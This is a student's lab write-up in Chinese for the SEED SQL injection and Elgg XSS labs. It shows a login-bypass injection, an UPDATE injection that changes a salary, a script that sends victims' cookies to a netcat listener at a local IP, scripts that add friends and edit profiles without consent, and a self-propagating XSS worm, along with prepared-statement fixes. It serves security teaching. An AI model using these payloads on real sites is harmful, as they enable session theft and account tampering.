20222928 2022-2023-2 《网络攻防实践》实践十

一、实验内容

1、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

(1)熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。
(2)对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
(3)对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
(4)SQL对抗:修复上述SQL注入攻击漏洞。

2、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

(1)发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。
(2)弹窗显示cookie信息:将cookie信息显示。
(3)窃取受害者的cookies:将cookie发送给攻击者。
(4)成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。
(5)修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。
(6)编写XSS蠕虫。
(7)对抗XSS攻击。

二、实验相关知识

1、SQL注入攻击

SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以市面的防火墙都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据。

SQL注入攻击原理:SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。

SQL注入攻击防范的方法:
(1)定制黑白名单:将常用请求定制为白名单,一些攻击频繁的攻击限制其为黑名单,可以通过服务器安全狗进行实现,服务器安全狗可以针对攻击类型把对方ip进行封禁处理,也可也对常用ip进行加白名单。

(2)限制查询长度和类型:由于SQL注入过程中需要构造较长的SQL语句,同时有些不常用的查询类型我们可以进行限制,凡是不符合该类请求的都归结于非法请求予以限制。

(3)数据库用户的权限配置:根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。

(4)限制目录权限:务器管理员还应在IIS中为每个网站设置好执行权限,WEB目录应至少遵循“可写目录不可执行,可执行目录不可写”的原则,在次基础上,对各目录进行必要的权限细化。

2、XSS攻击

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。

与钓鱼攻击相比,XSS攻击所带来的危害更大,通常具有如下特点:

(1)由于XSS攻击在用户当前使用的应用程序中执行,用户将会看到与其有关的个性化信息,如账户信息或“欢迎回来”消息,克隆的Web站点不会显示个性化信息。

(2)通常,在钓鱼攻击中使用的克隆Web站点一经发现,就会立即被关闭。

(3)许多浏览器与安全防护软件产品都内置钓鱼攻击过滤器,可阻止用户访问恶意的克隆站点。

(4)如果客户访问一个克隆的Web网银站点,银行一般不承担责任。但是,如果攻击者通过银行应用程序中的XSS漏洞攻击了银行客户,则银行将不能简单地推卸责任。

XSS攻击防范措施:
(1)服务器端防范措施:“限制、拒绝、净化”;输入验证: 对用户提交数据进行尽可能严格的验证与过滤;输出净化: HTMLEncode()方法;消除危险的输入点。
(2)客户端防范措施:提高浏览器访问非受信网站时的安全等级;关闭Cookie功能,或设置Cookie只读;建立安全意识和浏览习惯。

三、实验过程

1、SEED SQL注入攻击与防御实验

(1)熟悉SQL语句

使用命令“sudo service apache2 status”查看apache服务器运行状态,可以发现当前apache服务器正在运行中。
在这里插入图片描述

使用命令“mysql -u root -p”登录数据库,对应的密码为seedubuntu。
在这里插入图片描述

输入命令“show databases;”,查看库中有哪些库。
(此处一定不能忘记加分号!)
在这里插入图片描述

输入命令“use Users”,使用系统创建好的 Users 数据库。
在这里插入图片描述

输入命令“show tables;”,查看该数据库下所有的表,可以看到该数据库存在一个名为“credential”的表。
在这里插入图片描述

可以输入命令“select * from credential where Name=‘Alice’;”,以查看Alice的所有信息。
在这里插入图片描述

(2)对SELECT语句的SQL注入攻击

在firefox浏览器中输入网址:www.SEEDLabSQLInjection.com,进入本部分实验所需的网站。
在这里插入图片描述

然后,使用快捷键ctrl+U查看该页面源码,可以发现,用户点击提交后,表单使用get方法将用户输入的信息提交至unsafe_home.php页面进行权限校验。
在这里插入图片描述

然后,在终端输入命令:vim /var/www/SQLInjection/unsafe_home.php,在所显示的内容中找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞。
在这里插入图片描述

可以发现该数据库对于普通用户和Admin用户的处理方式是不同的。
在这里插入图片描述

通过上述SQL语句可以发现,条件将用户名和我们输入的密码连接到了一起。我们就可以利用注释特性,构建用户名为Admin’#,“#”表示注释,后面的内容被注释掉,那么代码就不会对password进行检查,从而绕过了密码校验,直接进入Admin用户页面。
测试输入用户名为:Admin’ #,密码为空。
在这里插入图片描述

点击登录后,发现成功登录,并且可以看到用户的详细信息,如用户的姓名、Eider,生日、薪酬等。
在这里插入图片描述

(3)对UPDATE语句的SQL注入攻击

接下来,我们对Admin的工资进行修改,修改之前,可以利用上一步的漏洞发现Admin修改前的工资为:40000。
在这里插入图片描述

之后点击页面上方的Edit Profile按钮,进入更新信息页面。
在这里插入图片描述

分析网页源代码可以发现,该网站将传入的参数传输到unsafe_edit_backend。
在这里插入图片描述

输入命令:vim /var/www/SQLInjection/unsafe_edit_backend.php查看一下修改界面的源代码,在unsafe_edit_backend.php中找到 Update语句,发现不能对个人工资进行更新修改。同时由上文可以知道 Admin 的编号是 99999,变量$input_nickname对应的就是用户输入的 NickName。
在这里插入图片描述

如果用户在 NickName 文本框中输入:
‘, salary=‘2928’ where EID=‘99999’;#
那么变量input_nickname则发生相应改变,于是,上面的语句变为:$sql = "UPDATE credential SET nickname=’', salary=‘2928’ where EID=‘99999’;,这条语句就成功将 Admin的工资更新为 2928。
在这里插入图片描述
在这里插入图片描述

(4)SQL对抗

unsafe_home.php中sql部分的代码进行修改为:
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd);

在这里插入图片描述

unsafe_edit_backend.php中的sql语句修改为:

$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
在这里插入图片描述

2、SEED XSS跨站脚本攻击实验(Elgg)

(1)发布恶意消息,显示警报窗口

首先,输入网址http://www.xsslabelgg.com/profile/alice,账号:Alice 密码:seedalice进入个人信息页面。
在这里插入图片描述

之后点击Edit profile,接着在下面的Brief description文本框输入以下语句:

<script>alert('xss');</script>

点击Save保存。
在这里插入图片描述

保存之后,可以看到有弹窗信息,证明攻击是成功的。
在这里插入图片描述

(2)弹窗显示cookie信息:将cookie信息显示

跟(1)一样,在Brief description文本框输入以下 JS 语句并保存:

<script>alert(document.cookie);</script>

在这里插入图片描述

保存后,我们可以看到弹窗显示cookie信息。
在这里插入图片描述

(3)窃取受害者的cookies

首先,输入命令“ifconfig”,查看本机的IP,发现为192.168.200.66。
在这里插入图片描述

在个人主页的Brief description中输入提前设计好的攻击代码:

<script>document.write('<img src=http://192.168.200.66:5555?c='+escape(document.cookie) + ' >');</script>

在这里插入图片描述

切换成Boby的账号,密码是seedboby。
在这里插入图片描述

在member中访问Alice。
在这里插入图片描述

在终端输入命令“nc -l 5555 -v”,监听5555端口,即可得到Boby的cookie。
在这里插入图片描述

(4)成为受害者的朋友

先使用快捷键 ctrl+shift+E 打开浏览器开发者模式,进入Network页面,然后点击和Alice成为好友,可以看到请求的方式是POST,请求的地址是:http://www.xsslabelgg.com/action/friends/add。
在这里插入图片描述

请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=。也就是说我们要指明:添加的好友、添加的时间,并进行添加者的身份验证。
在这里插入图片描述

于是,我们可以根据上述分析构造下面的脚本,用于添加其他好友。

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	  //发送 Ajax 请求
	  Ajax = new XMLHttpRequest();
	  Ajax.open("GET", sendurl, true);
	  Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
	  Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
	  Ajax.send();
}
</script>

将脚本放在 Alice 的About me文本框,并保存。
在这里插入图片描述

登录 Boby ,访问 Alice 主页:http://www.xsslabelgg.com/profile/alice,再返回 Boby 主页,看到已经成功添加 Alice 为好友。
在这里插入图片描述

(5)修改受害者的信息

登录Alice账户,在Edite profile模块输入以下代码,并保存。

<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;

        var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
        //FILL IN
        var samyGuid=44;
        //FILL IN
        if(elgg.session.user.guid!=samyGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>

在这里插入图片描述
可以发现有弹出弹窗消息。
在这里插入图片描述

接下来,我们退出 Alice账户,登录 Boby账户,访问 Alice,然后再返回 Boby界面,可以发现已经被攻击。
在这里插入图片描述

(6)编写XSS蠕虫

为了实现蠕虫感染。调用 DOM API 的方法,编写以下代码,可以实现在不同的用户之间感染传播。

<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>

将上述代码放在 Alice 的About me文本框内保存。
在这里插入图片描述
保存后有弹窗出现。
在这里插入图片描述

登录Boby账号,访问Alice主页。
在这里插入图片描述

查看Boby的 About me,发现也已经被改变了,说明其感染了xss蠕虫攻击代码。
在这里插入图片描述

为证明我们的正确性,我们还可以登录Admin,利用Admin用户去访问一下Boby,可看到打开Boby的界面,就会有弹窗。
在这里插入图片描述

紧接着返回Admin主页面,发现也被感染。
在这里插入图片描述

(7)对抗XSS攻击

登录Admin账户。
在这里插入图片描述

选择Administration中的Plugins。
在这里插入图片描述

关闭其中的HTMLawed功能。
在这里插入图片描述

再次换回Alice账号,可以发现其中的About me内容失效,无法进行上述攻击。
在这里插入图片描述

四、学习中遇到的问题及解决

问题1:做第二个实验的第4个小实验时,输入相关代码到About me中后,并不能成功实现攻击。
解决办法:我们需要调整代码的编辑格式,选择 Edit HTML 模式。
在这里插入图片描述
问题2:在进行xxs攻击时,修改了Alice的About me后,Boby的About me没有变化。
解决办法:我们需要在Boby账户中再次访问Alice,才能产生有效攻击。

问题3:在输入“show databases;”等访问数据库的相关命令时,显示错误。
解决办法:一定不能忘记加分号!
在这里插入图片描述

五、实践总结

通过本次实验,我学习了SQL注入与XSS跨站脚本攻击的原理、并付诸于实践,体会到了具体的攻击过程,难度在于第二个大实验,特别是构造JS代码部分,总体收获很多。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值